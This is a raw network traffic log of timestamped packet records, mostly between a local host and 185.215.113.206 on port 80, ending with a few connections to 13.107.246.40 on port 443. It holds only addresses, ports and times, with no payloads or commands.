Nov 23, 2024 05:02:50.769886017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.770618916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.770662069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.770725012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.770843983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.771584034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.771678925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.771686077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.771716118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.772532940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.772578955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.772631884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.772737026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.773492098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.773544073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.773570061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.773606062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.774442911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.774492025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.774565935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.774687052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.775388956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.775506973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.775527954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.775551081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.776443958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.776510000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.776525021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.776536942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.777298927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.777384996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.777421951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.777458906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.778266907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.778415918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.778464079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.779203892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.779256105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.779329062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.779439926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.780163050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.780213118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.780267000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.780421019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.781122923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.781178951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.781225920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.781373978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.782074928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.782118082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.782191992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.782346010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.783032894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.783076048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.783107042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.783145905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.783989906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.784038067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.784090042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.784137011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.784935951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.784981966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.785033941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.785120010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.785873890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.785916090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.785974979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.786020994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.786833048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.786883116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.786978960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.787019014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.787818909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.787925959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.787933111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.787965059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.788737059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.788778067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.788840055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.788886070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.789685011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.789747953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.789751053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.789786100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.790646076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.790719986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.790754080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.790888071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.791608095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.791682959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.791742086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.791832924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.792568922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.792625904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.792678118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.792747021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.793540001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.793629885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.793790102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.794464111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.794532061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.794550896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.795032978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.795432091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.795479059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.795517921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.795785904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.796377897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.796483994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.796552896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.797313929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.797374010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.797401905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.797487974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.887139082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.887182951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.887202024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.887227058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.887650967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.887788057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.887794018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.887833118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.888587952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.888658047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.888694048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.889101028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.889533997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.889581919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.889647007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.889708996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.890496016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.890599012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.890655041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.891480923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.891525984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.891581059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.891630888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.892493010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.892564058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.892601013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.892745018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.893384933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.893424034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.893462896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.893532038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.894304037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.894383907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.894423008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.894510031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.895270109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.895378113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.895420074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.896239996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.896282911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.896356106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.896445990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.897159100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.897224903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.897265911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.897387981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.898127079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.898180962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.898222923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.898288012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.899107933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.899182081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.899224997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.900021076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.900140047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.900151014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.900286913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.900978088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.901041985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.901096106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.901254892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.901921988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.902029991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.902041912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.902070045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.902841091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.902910948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.967988014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.968003988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.968014002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.968029022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.968127012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.968127012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.968832016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.968882084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.968978882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.969023943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.969669104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.969789028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.969980001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.970050097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.970709085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.970871925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.970900059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.970900059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.971681118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.971693993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.971748114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.972667933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.972681046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.972834110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.973598003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.973660946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.973767996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.973813057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.974499941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.974567890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.974646091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.974761963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.975543022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.975553989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.975598097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.975615025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.976427078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.976505995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.976569891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.976706028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.977340937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.977353096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.977387905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.977402925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.978262901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.978305101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.978415012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.978462934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.979368925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.979451895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.979507923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.979581118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.980254889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.980310917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.980406046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.980448008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.981270075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.981282949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.981353998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.982163906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.982208967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.982309103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.982398033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.983211040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.983227015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.983248949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.983267069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.984071016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.984082937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.984698057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.984993935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.985054016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.985140085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.985281944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.985913038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.985955000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.986079931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.986824989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.986876965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.986963987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.987876892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.987890005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.987924099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.987941027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.988234043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.988291979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.988329887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.988372087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.989914894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.989964008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.990818977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.990884066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.991755962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.991813898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.991890907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.991931915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.992389917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.992429018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.992435932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.992472887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.992667913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.992718935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.992788076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.992834091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.993697882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.993757010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.993829966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.993866920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.994659901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.994709015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.994785070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.994898081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.995531082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.995543003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.995578051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.995595932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.996592999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.996654987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.996722937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.996759892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.997370005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.997415066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.997606993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.997642994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.998048067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.998060942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.998100042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.998527050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.998574972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.998641968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.998677969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.999465942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.999510050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.999573946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.999609947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.000406981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.000458956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.000518084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.000591993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.001364946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.001430035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.001480103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.001518011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.002330065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.002424002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.002428055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.002461910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.003292084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.003304958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.003370047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.003370047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.005485058 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.005536079 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.005647898 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.005675077 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.005702972 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.005749941 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.006308079 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.006351948 CET	443	49888	13.107.246.40	192.168.2.6
